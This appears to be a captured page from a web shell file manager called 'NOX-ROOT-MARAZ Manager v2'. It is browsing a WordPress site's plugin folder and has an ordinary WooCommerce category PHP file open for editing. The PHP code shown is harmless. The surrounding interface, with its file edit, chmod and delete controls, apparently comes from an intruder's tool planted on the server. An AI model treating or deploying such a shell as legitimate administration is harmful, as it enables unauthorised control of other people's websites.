NOX-ROOT-MARAZ Manager v2
PHP 8+ Secure
/
home
/
xiedrke
/
malino
/
wp-content
/
plugins
/
trendz-pro
/
modules
/
woocommerce
/
category
/
Name
Size
Perms
Actions
📁 customizer
-
0755
Chmod
|
Delete
📄 index.php
1,545 B
0644
Edit
|
Chmod
|
Delete
Editing: index.php
<?php /** * Listings - Category */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if( !class_exists( 'Trendz_Pro_Listing_Category' ) ) { class Trendz_Pro_Listing_Category { private static $_instance = null; private $settings; public static function instance() { if ( is_null( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } function __construct() { /* Load Modules */ $this->load_modules(); /* Loop Shop Per Page */ add_filter( 'loop_shop_per_page', array ( $this, 'woo_loop_shop_per_page' ) ); } /* Load Modules */ function load_modules() { /* Customizer */ include_once TRENDZ_PRO_DIR_PATH.'modules/woocommerce/category/customizer/index.php'; } /* Loop Shop Per Page */ function woo_loop_shop_per_page( $count ) { if( is_product_category() ) { $count = trendz_customizer_settings('wdt-woo-category-page-product-per-page' ); } return $count; } } } if( !function_exists('trendz_listing_category') ) { function trendz_listing_category() { return Trendz_Pro_Listing_Category::instance(); } } trendz_listing_category();
Cancel